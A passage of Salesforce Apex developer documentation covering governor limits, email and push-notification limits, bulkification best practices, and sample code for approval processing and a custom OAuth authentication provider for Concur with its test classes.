There’s no limit on the number of certified namespaces that can be invoked in a single transaction. However, the number of operations
that can be performed in each namespace must not exceed the per-transaction limits. There’s also a limit on the cumulative number of
operations that can be made across namespaces in a transaction. This cumulative limit is 11 times the per-namespace limit. For example,
if the per-namespace limit for SOQL queries is 100, a single transaction can perform up to 1,100 SOQL queries. In this case, the cumulative
limit is 11 times the per-namespace limit of 100. These queries can be performed across an unlimited number of namespaces, as long
as any one namespace doesn't have more than 100 queries. The cumulative limit doesn’t affect limits that are shared across all namespaces,
such as the limit on maximum CPU time.
Note: These cross-namespace limits apply only to namespaces in certified managed packages. Namespaces in packages that are
not certified don’t have their own separate governor limits. The resources they use continue to count against the same governor
limits used by your org's custom code.
This table lists the cumulative cross-namespace limits.
Description
Cumulative
Cross-Namespace Limit
Total number of SOQL queries issued
1,100
Total number of records retrieved by Database.getQueryLocator
110,000
Total number of SOSL queries issued
220
Total number of DML statements issued
1,650
Total number of callouts (HTTP requests or Web services calls) in a transaction
1,100
Total number of sendEmail methods allowed
110
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All per-transaction limits count separately for certified managed packages except for:
• The total heap size
• The maximum CPU time
• The maximum transaction execution time
• The maximum number of unique namespaces
These limits count for the entire transaction, regardless of how many certified managed packages are running in the same transaction.
Also, if you install a package from AppExchange that isn’t created by a Salesforce ISV Partner and isn’t certified, the code from that
package doesn’t have its own separate governor limits. Any resources it uses count against the total governor limits for your org.
Cumulative resource messages and warning emails are also generated based on managed package namespaces.
For more information on Salesforce ISV Partner packages, see Salesforce Partner Programs.
Force.com Platform Apex Limits
The limits in this table aren’t specific to an Apex transaction and are enforced by the Force.com platform.
Description
Limit
The maximum number of asynchronous Apex method executions (batch Apex, future methods,
Queueable Apex, and scheduled Apex) per a 24-hour period1
250,000 or the number of user
licenses in your org multiplied
by 200, whichever is greater
Number of synchronous concurrent transactions for long-running transactions that last longer than 10
5 seconds for each org.2
Maximum number of Apex classes scheduled concurrently
100. In Developer Edition orgs
the limit is 5.
Maximum number of batch Apex jobs in the Apex flex queue that are in Holding status
100
Maximum number of batch Apex jobs queued or active concurrently3
5
Maximum number of batch Apex job start method concurrent executions4
1
Maximum number of batch jobs that can be submitted in a running test
5
Maximum number of test classes that can be queued per 24-hour period (production orgs other
than Developer Edition)5
The greater of 500 or 10
multiplied by the number of test
classes in the org
Maximum number of test classes that can be queued per 24-hour period (sandbox and Developer The greater of 500 or 20
Edition orgs)5
multiplied by the number of test
classes in the org
Maximum number of query cursors open concurrently per user6
50
Maximum number of query cursors open concurrently per user for the Batch Apex start method 15
Maximum number of query cursors open concurrently per user for the Batch Apex execute and 5
finish methods
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1
For Batch Apex, method executions include executions of the start, execute, and finish methods. This limit is for your entire
org and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future methods. To check how many
asynchronous Apex executions are available, make a request to the REST API limits resource. See List Organization Limits in the
Force.com REST API Developer Guide. The licenses that count toward this limit are full Salesforce user licenses or Force.com App Subscription
user licenses. Chatter Free, Chatter customer users, Customer Portal User, and partner portal User licenses aren’t included.
2
If more transactions are started while the 10 long-running transactions are still running, they’re denied.
3
When batch jobs are submitted, they’re held in the flex queue before the system queues them for processing.
4
Batch jobs that haven’t started yet remain in the queue until they’re started. If more than one job is running, this limit doesn’t cause
any batch job to fail and execute methods of batch Apex jobs still run in parallel.
5
This limit applies to tests running asynchronously. This group of tests includes tests started through the Salesforce user interface
including the Developer Console or by inserting ApexTestQueueItem objects using SOAP API.
6
For example, if 50 cursors are open and a client application still logged in as the same user attempts to open a new one, the oldest of
the 50 cursors is released. Cursor limits for different Force.com features are tracked separately. For example, you can have 50 Apex query
cursors, 15 cursors for the Batch Apex start method, 5 cursors each for the Batch Apex execute and finish methods, and 5
Visualforce cursors open at the same time.
Static Apex Limits
Description
Limit
Default timeout of callouts (HTTP requests or Web services calls) in a transaction
10 seconds
Maximum size of callout request or response (HTTP request or Web services call)1
6 MB for synchronous Apex or
12 MB for asynchronous Apex
Maximum SOQL query run time before Salesforce cancels the transaction
120 seconds
Maximum number of class and trigger code units in a deployment of Apex
5,000
For loop list batch size
200
Maximum number of records returned for a Batch Apex query in Database.QueryLocator 50 million
1
The HTTP request and response sizes count towards the total heap size.
Size-Specific Apex Limits
Description
Limit
Maximum number of characters for a class
1 million
Maximum number of characters for a trigger
1 million
Maximum amount of code used by all Apex code in an org1
3 MB
Method size limit 2
65,535 bytecode instructions in
compiled form
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1
This limit does not apply to certified managed packages installed from AppExchange (that is, an app that has been marked AppExchange
Certified). The code in those types of packages belongs to a namespace unique from the code in your org. For more information on
AppExchange Certified packages, see the Force.com AppExchange online help. This limit also does not apply to any code included in a
class defined with the @isTest annotation.
2
Large methods that exceed the allowed limit cause an exception to be thrown during the execution of your code.
Miscellaneous Apex Limits
SOQL Query Performance
For best performance, SOQL queries must be selective, particularly for queries inside triggers. To avoid long execution times, the
system can terminate nonselective SOQL queries. Developers receive an error message when a non-selective query in a trigger
executes against an object that contains more than 200,000 records. To avoid this error, ensure that the query is selective. See More
Efficient SOQL Queries.
Chatter in Apex
For classes in the ConnectApi namespace, every write operation costs one DML statement against the Apex governor limit.
ConnectApi method calls are also subject to rate limiting. ConnectApi rate limits match Chatter REST API rate limits. Both
have a per user, per namespace, per hour rate limit. When you exceed the rate limit, a ConnectApi.RateLimitException
is thrown. Your Apex code must catch and handle this exception.
Event Reports
The maximum number of records that an event report returns for a user who is not a system administrator is 20,000; for system
administrators, 100,000.
Data.com Clean
If you use the Data.com Clean product and its automated jobs, and you have set up Apex triggers on account, contact, or lead records
that run SOQL queries, the queries can interfere with Clean jobs for those objects. Your Apex triggers (combined) must not exceed
200 SOQL queries per batch. If they do, your Clean job for that object fails. In addition, if your triggers call future methods, they
are subject to a limit of 10 future calls per batch.
Email Limits
Inbound Email Limits
Email Services: Maximum Number of Email Messages Processed
(Includes limit for On-Demand Email-to-Case)
Number of user licenses multiplied by
1,000; maximum 1,000,000
Email Services: Maximum Size of Email Message (Body and Attachments)
10 MB1
On-Demand Email-to-Case: Maximum Email Attachment Size
25 MB
On-Demand Email-to-Case: Maximum Number of Email Messages Processed
Number of user licenses multiplied by
1,000; maximum 1,000,000
(Counts toward limit for Email Services)
1
The maximum size of email messages for Email Services varies depending on language and character set. The size of an email
message includes the email headers, body, attachments, and encoding. As a result, an email with a 25 MB attachment likely exceeds
the 25 MB size limit for an email message after accounting for the headers, body, and encoding..
When defining email services, note the following:
• An email service only processes messages it receives at one of its addresses.
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• Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can
process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on
how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number
of user licenses by 1,000; maximum 1,000,000. For example, if you have 10 licenses, your org can process up to 10,000 email
messages a day.
• Email service addresses that you create in your sandbox cannot be copied to your production org.
• For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email
address.
• Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments)
exceeds approximately 10 MB (varies depending on language and character set).
Outbound Email: Limits for Single and Mass Email Sent Using Apex
Using the API or Apex, you can send single emails to a maximum of 5,000 external email addresses per day based on Greenwich
Mean Time (GMT). Single emails sent using the email author or composer in Salesforce don't count toward this limit. There’s no limit
on sending individual emails to contacts, leads, person accounts, and users in your org directly from account, contact, lead, opportunity,
case, campaign, or custom object pages.
When sending single emails, keep in mind:
• You can specify up to 100 recipients for the To field and up to 25 recipients for the CC and BCC fields in each
SingleEmailMessage.
• If you use SingleEmailMessage to email your org’s internal users, specifying the user’s ID in setTargetObjectId
means the email doesn’t count toward the daily limit. However, specifying internal users’ email addresses in setToAddresses
means the email does count toward the limit.
You can send mass email to a maximum of 5,000 external email addresses per day per org based on Greenwich Mean Time (GMT).
Note:
• The single and mass email limits don't take unique addresses into account. For example, if you have
johndoe@example.com in your email 10 times, that counts as 10 against the limit.
• You can send an unlimited amount of email to your org’s internal users, which includes portal users.
• You can send mass emails only to contacts, person accounts, leads, and your org’s internal users.
• In Developer Edition orgs and orgs evaluating Salesforce during a trial period, you can send mass email to no more than
10 external email addresses per day. This lower limit doesn’t apply if your org was created before the Winter ’12 release
and already had mass email enabled with a higher limit. Additionally, your org can send single emails to a maximum of
15 email addresses per day.
Push Notification Limits
The maximum push notifications allowed for each mobile app associated with your Salesforce org depends on the type of app.
Mobile application type
Maximum notifications per app per day
Provided by Salesforce (for example, Salesforce1)
50,000
Developed by your company for internal employee use
35,000
Installed from the AppExchange
5,000
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Only deliverable notifications count toward this limit. For example, consider the scenario where a notification is sent to 1,000 employees
in your company, but 100 employees haven’t installed the mobile application yet. Only the notifications sent to the 900 employees who
have installed the mobile application count toward this limit.
Each test push notification that is generated through the Test Push Notification page is limited to a single recipient. Test push notifications
count toward an application’s daily push notification limit.
SEE ALSO:
Asynchronous Callout Limits
Set Up Governor Limit Email Warnings
You can specify users in your organization to receive an email notification when they invoke Apex code that surpasses 50% of allocated
governor limits.
1. Log in to Salesforce as an administrator user.
2. From Setup, enter Users in the Quick Find box, then select Users.
3. Click Edit next to the name of the user to receive the email notifications.
4. Select the Send Apex Warning Emails option.
5. Click Save.
Running Apex within Governor Execution Limits
When you develop software in a multitenant cloud environment such as the Force.com platform, you don’t have to scale your code,
because the Force.com platform does it for you. Because resources are shared in a multitenant platform, the Apex runtime engine
enforces some limits to ensure that no one transaction monopolizes shared resources.
Your Apex code must execute within these predefined execution limits. If a governor limit is exceeded, a run-time exception that can’t
be handled is thrown. By following best practices in your code, you can avoid hitting these limits. Imagine you had to wash 100 T-shirts.
Would you wash them one by one—one per load of laundry, or would you group them in batches for just a few loads? The benefit of
coding in the cloud is that you learn how to write more efficient code and waste fewer resources.
The governor execution limits are per transaction. For example, one transaction can issue up to 100 SOQL queries and up to 150 DML
statements. There are some other limits that aren’t transaction bound, such as the number of batch jobs that can be queued or active
at one time.
The following are some best practices for writing code that doesn’t exceed certain governor limits.
Bulkifying DML Calls
Making DML calls on lists of sObjects instead of each individual sObject makes it less likely to reach the DML statements limit. The
following is an example that doesn’t bulkify DML operations, and the next example shows the recommended way of calling DML
statements.
Example: DML calls on single sObjects
The for loop iterates over line items contained in the liList List variable. For each line item, it sets a new value for the Description__c
field and then updates the line item. If the list contains more than 150 items, the 151st update call returns a run-time exception for
exceeding the DML statement limit of 150. How do we fix this? Check the second example for a simple solution.
for(Line_Item__c li : liList) {
if (li.Units_Sold__c > 10) {
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li.Description__c = 'New description';
}
// Not a good practice since governor limits might be hit.
update li;
}
Recommended Alternative: DML calls on sObject lists
This enhanced version of the DML call performs the update on an entire list that contains the updated line items. It starts by creating a
new list and then, inside the loop, adds every update line item to the new list. It then performs a bulk update on the new list.
List<Line_Item__c> updatedList = new List<Line_Item__c>();
for(Line_Item__c li : liList) {
if (li.Units_Sold__c > 10) {
li.Description__c = 'New description';
updatedList.add(li);
}
}
// Once DML call for the entire list of line items
update updatedList;
More Efficient SOQL Queries
Placing SOQL queries inside for loop blocks isn’t a good practice because the SOQL query executes once for each iteration and may
surpass the 100 SOQL queries limit per transaction. The following is an example that runs a SOQL query for every item in Trigger.new,
which isn’t efficient. An alternative example is given with a modified query that retrieves child items using only one SOQL query.
Example: Inefficient querying of child items
The for loop in this example iterates over all invoice statements that are in Trigger.new. The SOQL query performed inside the
loop retrieves the child line items of each invoice statement. If more than 100 invoice statements were inserted or updated, and thus
contained in Trigger.new, this results in a run-time exception because of reaching the SOQL limit. The second example solves this
problem by creating another SOQL query that can be called only once.
trigger LimitExample on Invoice_Statement__c (before insert, before update) {
for(Invoice_Statement__c inv : Trigger.new) {
// This SOQL query executes once for each item in Trigger.new.
// It gets the line items for each invoice statement.
List<Line_Item__c> liList = [SELECT Id,Units_Sold__c,Merchandise__c
FROM Line_Item__c
WHERE Invoice_Statement__c = :inv.Id];
for(Line_Item__c li : liList) {
// Do something
}
}
}
Recommended Alternative: Querying of child items with one SOQL query
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This example bypasses the problem of having the SOQL query called for each item. It has a modified SOQL query that retrieves all invoice
statements that are part of Trigger.new and also gets their line items through the nested query. In this way, only one SOQL query
is performed and we’re still within our limits.
trigger EnhancedLimitExample on Invoice_Statement__c (before insert, before update) {
// Perform SOQL query outside of the for loop.
// This SOQL query runs once for all items in Trigger.new.
List<Invoice_Statement__c> invoicesWithLineItems =
[SELECT Id,Description__c,(SELECT Id,Units_Sold__c,Merchandise__c from Line_Items__r)
FROM Invoice_Statement__c WHERE Id IN :Trigger.newMap.KeySet()];
for(Invoice_Statement__c inv : invoicesWithLineItems) {
for(Line_Item__c li : inv.Line_Items__r) {
// Do something
}
}
}
SOQL For Loops
Use SOQL for loops to operate on records in batches of 200. This helps avoid the heap size limit of 6 MB. Note that this limit is for code
running synchronously and it is higher for asynchronous code execution.
Example: Query without a for loop
The following is an example of a SOQL query that retrieves all merchandise items and stores them in a List variable. If the returned
merchandise items are large in size and a large number of them was returned, the heap size limit might be hit.
List<Merchandise__c> ml = [SELECT Id,Name FROM Merchandise__c];
Recommended Alternative: Query within a for loop
To prevent this from happening, this second version uses a SOQL for loop, which iterates over the returned results in batches of 200
records. This reduces the size of the ml list variable which now holds 200 items instead of all items in the query results, and gets recreated
for every batch.
for (List<Merchandise__c> ml : [SELECT Id,Name FROM Merchandise__c]){
// Do something.
}
Using Salesforce Features with Apex
Many features of the Salesforce user interface are exposed in Apex so that you can access them programatically in the Force.com platform.
For example, you can write Apex code to post to a Chatter feed, or use the approval methods to submit and approve process requests.
IN THIS SECTION:
Actions
Create actions and add them to the Chatter publisher on the home page, on the Chatter tab, in Chatter groups, and on record detail
pages. Choose from standard actions, such as create and update actions, or create actions based on your company’s needs.
Approval Processing
An approval process automates how records are approved in Salesforce. An approval process specifies each step of approval, including
from whom to request approval and what to do at each point of the process.
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Authentication
Salesforce provides various ways to authenticate users. Build a combination of authentication methods to fit the needs of your org
and your users’ use patterns.
Chatter Answers and Ideas
In Chatter Answers and Ideas, use zones to organize ideas and answers into groups. Each zone can have its own focus, with unique
ideas and answers topics to match that focus.
Chatter in Apex
Use Chatter in Apex to develop custom experiences in Salesforce. Create Apex pages that display feeds, post feed items with mentions
and topics, and update user and group photos. Create triggers that update Chatter feeds.
Moderate Chatter Private Messages with Triggers
Write a trigger for ChatterMessage to automate the moderation of private messages in an organization or community. Use triggers
to ensure that messages conform to your company’s messaging policies and don’t contain blacklisted words.
Moderate Feed Items with Triggers
Write a trigger for FeedItem to automate the moderation of posts in an organization or community. Use triggers to ensure that posts
conform to your company’s communication policies and don’t contain unwanted words or phrases.
Communities
Communities are branded spaces for your employees, customers, and partners to connect. You can customize and create communities
to meet your business needs, then transition seamlessly between them.
Email
You can use Apex to work with inbound and outbound email.
Metadata
Salesforce uses metadata types and components to represent org configuration and customization. Metadata is used for org settings
that admins control, or configuration information applied by installed apps and packages.
Platform Cache
The Force.com Platform Cache layer provides faster performance and better reliability when caching Salesforce session and org data.
Specify what to cache and for how long without using custom objects and settings or overloading a Visualforce view state. Platform
Cache improves performance by distributing cache space so that some applications or operations don’t steal capacity from others.
Salesforce Knowledge
Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly find
and view the articles they need.
Salesforce Connect
Apex code can access external object data via any Salesforce Connect adapter. Use the Apex Connector Framework to develop a
custom adapter for Salesforce Connect. The custom adapter can retrieve data from external systems and synthesize data locally.
Salesforce Connect represents that data in Salesforce external objects, enabling users and the Force.com platform to seamlessly
interact with data that’s stored outside the Salesforce org.
Salesforce Reports and Dashboards API via Apex
The Salesforce Reports and Dashboards API via Apex gives you programmatic access to your report data as defined in the report
builder.
Force.com Sites
Force.com Sites lets you build custom pages and Web applications by inheriting Force.com capabilities including analytics, workflow
and approvals, and programmable logic.
Support Classes
Support classes allow you to interact with records commonly used by support centers, such as business hours and cases.
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Territory Management 2.0
With trigger support for the Territory2 and UserTerritory2Association standard objects, you can automate actions and processes
related to changes in these territory management records.
Visual Workflow
Visual Workflow allows administrators to build applications, known as flows, that guide users through screens for collecting and
updating data.
Actions
Create actions and add them to the Chatter publisher on the home page, on the Chatter tab, in Chatter groups, and on record detail
pages. Choose from standard actions, such as create and update actions, or create actions based on your company’s needs.
• Create actions let users create records. They’re different from the Quick Create and Create New features on the Salesforce home page,
because create actions respect validation rules and field requiredness, and you can choose each action’s fields.
• Custom actions are actions that you create and customize yourself, such as Create a Record, Send Email, or Log a Call actions. They
can also invoke Lightning components, flows, Visualforce pages, or canvas apps with functionality that you define. For example, you
can create a custom action so that users can write comments that are longer than 5,000 characters, or create one that integrates a
video-conferencing application so that support agents can communicate visually with customers.
For create, log-a-call, and custom actions, you can create either object-specific actions or global actions. Update actions must be
object-specific.
For more information on actions, see the online help.
SEE ALSO:
QuickAction Class
QuickActionRequest Class
QuickActionResult Class
DescribeQuickActionResult Class
DescribeQuickActionDefaultValue Class
DescribeLayoutSection Class
DescribeLayoutRow Class
DescribeLayoutItem Class
DescribeLayoutComponent Class
DescribeAvailableQuickActionResult Class
Approval Processing
An approval process automates how records are approved in Salesforce. An approval process specifies each step of approval, including
from whom to request approval and what to do at each point of the process.
• Use the Apex process classes to create approval requests and process the results of those requests:
– ProcessRequest Class
– ProcessResult Class
– ProcessSubmitRequest Class
– ProcessWorkitemRequest Class
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• Use the Approval.process method to submit an approval request and approve or reject existing approval requests. For more
information, see Approval Class.
Note: The process method counts against the DML limits for your organization. See Execution Governors and Limits.
For more information about approval processes, see “Set Up an Approval Process” in the Salesforce online help.
IN THIS SECTION:
Apex Approval Processing Example
Apex Approval Processing Example
The following sample code initially submits a record for approval, then approves the request. This example requires an approval process
to be set up for accounts.
public class TestApproval {
void submitAndProcessApprovalRequest() {
// Insert an account
Account a = new Account(Name='Test',annualRevenue=100.0);
insert a;
User user1 = [SELECT Id FROM User WHERE Alias='SomeStandardUser'];
// Create an approval request for the account
Approval.ProcessSubmitRequest req1 =
new Approval.ProcessSubmitRequest();
req1.setComments('Submitting request for approval.');
req1.setObjectId(a.id);
// Submit on behalf of a specific submitter
req1.setSubmitterId(user1.Id);
// Submit the record to specific process and skip the criteria evaluation
req1.setProcessDefinitionNameOrId('PTO_Request_Process');
req1.setSkipEntryCriteria(true);
// Submit the approval request for the account
Approval.ProcessResult result = Approval.process(req1);
// Verify the result
System.assert(result.isSuccess());
System.assertEquals(
'Pending', result.getInstanceStatus(),
'Instance Status'+result.getInstanceStatus());
// Approve the submitted request
// First, get the ID of the newly created item
List<Id> newWorkItemIds = result.getNewWorkitemIds();
// Instantiate the new ProcessWorkitemRequest object and populate it
Approval.ProcessWorkitemRequest req2 =
new Approval.ProcessWorkitemRequest();
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req2.setComments('Approving request.');
req2.setAction('Approve');
req2.setNextApproverIds(new Id[] {UserInfo.getUserId()});
// Use the ID from the newly created item to specify the item to be worked
req2.setWorkitemId(newWorkItemIds.get(0));
// Submit the request for approval
Approval.ProcessResult result2 = Approval.process(req2);
// Verify the results
System.assert(result2.isSuccess(), 'Result Status:'+result2.isSuccess());
System.assertEquals(
'Approved', result2.getInstanceStatus(),
'Instance Status'+result2.getInstanceStatus());
}
}
Authentication
Salesforce provides various ways to authenticate users. Build a combination of authentication methods to fit the needs of your org and
your users’ use patterns.
IN THIS SECTION:
Create a Custom Authentication Provider Plug-in
You can use Apex to create a custom OAuth-based authentication provider plug-in for single sign-on (SSO) to Salesforce.
Create a Custom Authentication Provider Plug-in
You can use Apex to create a custom OAuth-based authentication provider plug-in for single sign-on (SSO) to Salesforce.
Single sign-on (SSO) lets users access authorized network resources with one login. You validate usernames and passwords against your
corporate user database or other client app rather than Salesforce managing separate passwords for each resource. Out of the box,
Salesforce supports several external authentication providers for single sign-on, including Facebook, Google, LinkedIn, and service
providers that implement the OpenID Connect protocol. By creating a plug-in with Apex, you can add your own OAuth-based
authentication provider. Your users can then use the SSO credentials they already use for non-Salesforce applications with your Salesforce
orgs.
Before you create your Apex class, you create a custom metadata type record for your authentication provider. For details, see Create a
Custom External Authentication Provider.
Sample Classes
This example extends the abstract class Auth.AuthProviderPluginClass to configure an external authentication provider
called Concur. Build the sample classes and sample test classes in the following order.
1. Concur
2. ConcurTestStaticVar
3. MockHttpResponseGenerator
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4. ConcurTestClass
global class Concur extends Auth.AuthProviderPluginClass {
public String redirectUrl; // use this URL for the endpoint that the
authentication provider calls back to for configuration
private String key;
private String secret;
private String authUrl;
// application redirection to the Concur website
for authentication and authorization
private String accessTokenUrl; // uri to get the new access token from
concur using the GET verb
private String customMetadataTypeApiName; // api name for the custom metadata
type created for this auth provider
private String userAPIUrl; // api url to access the user in concur
private String userAPIVersionUrl; // version of the user api url to access
data from concur
global String getCustomMetadataType() {
return customMetadataTypeApiName;
}
global PageReference initiate(Map<string,string> authProviderConfiguration,
String stateToPropagate) {
authUrl = authProviderConfiguration.get('Auth_Url__c');
key = authProviderConfiguration.get('Key__c');
//Here the developer can build up a request of some sort
//Ultimately they’ll return a URL where we will redirect the user
String url = authUrl + '?client_id='+ key
+'&scope=USER,EXPRPT,LIST&redirect_uri='+ redirectUrl + '&state=' + stateToPropagate;
return new PageReference(url);
}
global Auth.AuthProviderTokenResponse handleCallback(Map<string,string>
authProviderConfiguration, Auth.AuthProviderCallbackState state ) {
//Here, the developer will get the callback with actual protocol.
//Their responsibility is to return a new object called AuthProviderToken
//This will contain an optional accessToken and refreshToken
key = authProviderConfiguration.get('Key__c');
secret = authProviderConfiguration.get('Secret__c');
accessTokenUrl = authProviderConfiguration.get('Access_Token_Url__c');
Map<String,String> queryParams = state.queryParameters;
String code = queryParams.get('code');
String sfdcState = queryParams.get('state');
HttpRequest req = new HttpRequest();
String url = accessTokenUrl+'?code=' + code + '&client_id=' + key +
'&client_secret=' + secret;
req.setEndpoint(url);
req.setHeader('Content-Type','application/xml');
req.setMethod('GET');
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Http http = new Http();
HTTPResponse res = http.send(req);
String responseBody = res.getBody();
String token = getTokenValueFromResponse(responseBody, 'Token', null);
return new Auth.AuthProviderTokenResponse('Concur', token, 'refreshToken',
sfdcState);
}
global Auth.UserData getUserInfo(Map<string,string>
authProviderConfiguration, Auth.AuthProviderTokenResponse response) {
//Here the developer is responsible for constructing an Auth.UserData
object
String token = response.oauthToken;
HttpRequest req = new HttpRequest();
userAPIUrl = authProviderConfiguration.get('API_User_Url__c');
userAPIVersionUrl =
authProviderConfiguration.get('API_User_Version_Url__c');
req.setHeader('Authorization', 'OAuth ' + token);
req.setEndpoint(userAPIUrl);
req.setHeader('Content-Type','application/xml');
req.setMethod('GET');
Http http = new Http();
HTTPResponse res = http.send(req);
String responseBody = res.getBody();
String id = getTokenValueFromResponse(responseBody,
'LoginId',userAPIVersionUrl);
String fname = getTokenValueFromResponse(responseBody, 'FirstName',
userAPIVersionUrl);
String lname = getTokenValueFromResponse(responseBody, 'LastName',
userAPIVersionUrl);
String flname = fname + ' ' + lname;
String uname = getTokenValueFromResponse(responseBody, 'EmailAddress',
userAPIVersionUrl);
String locale = getTokenValueFromResponse(responseBody, 'LocaleName',
userAPIVersionUrl);
Map<String,String> provMap = new Map<String,String>();
provMap.put('what1', 'noidea1');
provMap.put('what2', 'noidea2');
return new Auth.UserData(id, fname, lname, flname, uname,
'what', locale, null, 'Concur', null, provMap);
}
private String getTokenValueFromResponse(String response, String token,
String ns) {
Dom.Document docx = new Dom.Document();
docx.load(response);
String ret = null;
dom.XmlNode xroot = docx.getrootelement() ;
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if(xroot != null){
ret = xroot.getChildElement(token, ns).getText();
}
return ret;
}
}
Sample Test Classes
The following example contains test classes for the Concur class.
@IsTest
public class ConcurTestClass {
private static final String OAUTH_TOKEN = 'testToken';
private static final String STATE = 'mocktestState';
private static final String REFRESH_TOKEN = 'refreshToken';
private static final String LOGIN_ID = 'testLoginId';
private static final String USERNAME = 'testUsername';
private static final String FIRST_NAME = 'testFirstName';
private static final String LAST_NAME = 'testLastName';
private static final String EMAIL_ADDRESS = 'testEmailAddress';
private static final String LOCALE_NAME = 'testLocalName';
private static final String FULL_NAME = FIRST_NAME + ' ' + LAST_NAME;
private static final String PROVIDER = 'Concur';
private static final String REDIRECT_URL =
'http://localhost/services/authcallback/orgId/Concur';
private static final String KEY = 'testKey';
private static final String SECRET = 'testSecret';
private static final String STATE_TO_PROPOGATE = 'testState';
private static final String ACCESS_TOKEN_URL = 'http://www.dummyhost.com/accessTokenUri';
private static final String API_USER_VERSION_URL = 'http://www.dummyhost.com/user/20/1';
private static final String AUTH_URL = 'http://www.dummy.com/authurl';
private static final String API_USER_URL = 'www.concursolutions.com/user/api';
// in the real world scenario , the key and value would be read from the (custom fields
in) custom metadata type record
private static Map<String,String> setupAuthProviderConfig () {
Map<String,String> authProviderConfiguration = new Map<String,String>();
authProviderConfiguration.put('Key__c', KEY);
authProviderConfiguration.put('Auth_Url__c', AUTH_URL);
authProviderConfiguration.put('Secret__c', SECRET);
authProviderConfiguration.put('Access_Token_Url__c', ACCESS_TOKEN_URL);
authProviderConfiguration.put('API_User_Url__c',API_USER_URL);
authProviderConfiguration.put('API_User_Version_Url__c',API_USER_VERSION_URL);
authProviderConfiguration.put('Redirect_Url__c',REDIRECT_URL);
return authProviderConfiguration;
}
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static testMethod void testInitiateMethod() {
String stateToPropogate = 'mocktestState';
Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
Concur concurCls = new Concur();
concurCls.redirectUrl = authProviderConfiguration.get('Redirect_Url__c');
PageReference expectedUrl = new
PageReference(authProviderConfiguration.get('Auth_Url__c') + '?client_id='+
authProviderConfiguration.get('Key__c')
+'&scope=USER,EXPRPT,LIST&redirect_uri='+
authProviderConfiguration.get('Redirect_Url__c') + '&state=' +
STATE_TO_PROPOGATE);
PageReference actualUrl = concurCls.initiate(authProviderConfiguration,
STATE_TO_PROPOGATE);
System.assertEquals(expectedUrl.getUrl(), actualUrl.getUrl());
}
static testMethod void testHandleCallback() {
Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
Concur concurCls = new Concur();
concurCls.redirectUrl = authProviderConfiguration.get('Redirect_Url_c');
Test.setMock(HttpCalloutMock.class, new ConcurMockHttpResponseGenerator());
Map<String,String> queryParams = new Map<String,String>();
queryParams.put('code','code');
queryParams.put('state',authProviderConfiguration.get('State_c'));
Auth.AuthProviderCallbackState cbState = new
Auth.AuthProviderCallbackState(null,null,queryParams);
Auth.AuthProviderTokenResponse actualAuthProvResponse =
concurCls.handleCallback(authProviderConfiguration, cbState);
Auth.AuthProviderTokenResponse expectedAuthProvResponse = new
Auth.AuthProviderTokenResponse('Concur', OAUTH_TOKEN, REFRESH_TOKEN, null);
System.assertEquals(expectedAuthProvResponse.provider,
actualAuthProvResponse.provider);
System.assertEquals(expectedAuthProvResponse.oauthToken,
actualAuthProvResponse.oauthToken);
System.assertEquals(expectedAuthProvResponse.oauthSecretOrRefreshToken,
actualAuthProvResponse.oauthSecretOrRefreshToken);
System.assertEquals(expectedAuthProvResponse.state, actualAuthProvResponse.state);
}
static testMethod void testGetUserInfo() {
Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
Concur concurCls = new Concur();
Test.setMock(HttpCalloutMock.class, new ConcurMockHttpResponseGenerator());
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Auth.AuthProviderTokenResponse response = new
Auth.AuthProviderTokenResponse(PROVIDER, OAUTH_TOKEN ,'sampleOauthSecret', STATE);
Auth.UserData actualUserData = concurCls.getUserInfo(authProviderConfiguration,
response) ;
Map<String,String> provMap = new Map<String,String>();
provMap.put('key1', 'value1');
provMap.put('key2', 'value2');
Auth.UserData expectedUserData = new Auth.UserData(LOGIN_ID, FIRST_NAME,
LAST_NAME, FULL_NAME, EMAIL_ADDRESS,
null, LOCALE_NAME, null, PROVIDER, null, provMap);
System.assertNotEquals(expectedUserData,null);
System.assertEquals(expectedUserData.firstName, actualUserData.firstName);
System.assertEquals(expectedUserData.lastName, actualUserData.lastName);
System.assertEquals(expectedUserData.fullName, actualUserData.fullName);
System.assertEquals(expectedUserData.email, actualUserData.email);
System.assertEquals(expectedUserData.username, actualUserData.username);
System.assertEquals(expectedUserData.locale, actualUserData.locale);
System.assertEquals(expectedUserData.provider, actualUserData.provider);
System.assertEquals(expectedUserData.siteLoginUrl, actualUserData.siteLoginUrl);
}
// implementing a mock http response generator for concur
public class ConcurMockHttpResponseGenerator implements HttpCalloutMock {
public HTTPResponse respond(HTTPRequest req) {
String namespace = API_USER_VERSION_URL;
String prefix = 'mockPrefix';
Dom.Document doc = new Dom.Document();
Dom.XmlNode xmlNode = doc.createRootElement('mockRootNodeName', namespace, prefix);
xmlNode.addChildElement('LoginId', namespace, prefix).addTextNode(LOGIN_ID);
xmlNode.addChildElement('FirstName', namespace, prefix).addTextNode(FIRST_NAME);
xmlNode.addChildElement('LastName', namespace, prefix).addTextNode(LAST_NAME);
xmlNode.addChildElement('EmailAddress', namespace,
prefix).addTextNode(EMAIL_ADDRESS);
xmlNode.addChildElement('LocaleName', namespace, prefix).addTextNode(LOCALE_NAME);
xmlNode.addChildElement('Token', null, null).addTextNode(OAUTH_TOKEN);
System.debug(doc.toXmlString());
// Create a fake response
HttpResponse res = new HttpResponse();
res.setHeader('Content-Type', 'application/xml');
res.setBody(doc.toXmlString());
res.setStatusCode(200);
return res;
}
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}
}
SEE ALSO:
AuthProviderPlugin Interface
Salesforce Help: Create a Custom External Authentication Provider
Chatter Answers and Ideas
In Chatter Answers and Ideas, use zones to organize ideas and answers into groups. Each zone can have its own focus, with unique ideas
and answers topics to match that focus.
Note: Before Summer ‘13, Chatter Answers and Ideas used the term “communities.” In the Summer ‘13 release, these communities
were renamed “zones” to prevent confusion with Salesforce Communities.
To work with zones in Apex, use the Answers, Ideas, and ConnectApi.Zones.
SEE ALSO:
Answers Class
Ideas Class
Zones Class
Chatter in Apex
Use Chatter in Apex to develop custom experiences in Salesforce. Create Apex pages that display feeds, post feed items with mentions
